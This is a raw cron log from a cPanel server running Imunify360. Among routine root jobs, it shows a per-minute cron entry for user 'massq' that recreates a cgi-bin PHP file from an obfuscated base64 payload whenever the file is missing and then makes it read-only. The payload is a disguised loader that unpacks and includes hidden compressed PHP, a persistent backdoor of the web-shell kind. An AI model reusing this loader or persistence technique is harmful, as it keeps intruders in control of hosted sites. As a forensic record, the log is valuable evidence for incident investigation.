Sep  6 15:10:01 server CROND[2961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:11:01 server CROND[3922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:11:01 server CROND[3923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:11:01 server CROND[3924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:12:01 server CROND[4300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:12:01 server CROND[4301]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:12:01 server CROND[4302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:12:01 server CROND[4303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:13:02 server CROND[4670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:13:02 server CROND[4671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:13:02 server CROND[4672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:14:01 server CROND[5046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:14:01 server CROND[5047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:14:01 server CROND[5048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:15:01 server CROND[5433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:15:01 server CROND[5435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:15:01 server CROND[5437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:15:01 server CROND[5442]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:15:01 server CROND[5440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:15:01 server CROND[5438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:15:01 server CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 15:15:01 server CROND[5439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:16:01 server CROND[6429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:16:01 server CROND[6430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:16:01 server CROND[6431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:17:01 server CROND[6816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:17:01 server CROND[6818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:17:01 server CROND[6817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:18:01 server CROND[7293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:18:01 server CROND[7294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:18:01 server CROND[7295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:19:01 server CROND[7747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:19:01 server CROND[7748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:19:01 server CROND[7749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:20:01 server CROND[8232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:20:01 server CROND[8234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:20:01 server CROND[8235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:20:01 server CROND[8238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:20:01 server CROND[8237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:20:01 server CROND[8243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:20:01 server CROND[8242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:20:01 server CROND[8241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:20:01 server CROND[8239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:21:01 server CROND[9214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:21:01 server CROND[9215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:21:01 server CROND[9216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:22:01 server CROND[9589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:22:01 server CROND[9590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:22:01 server CROND[9591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:23:01 server CROND[10013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
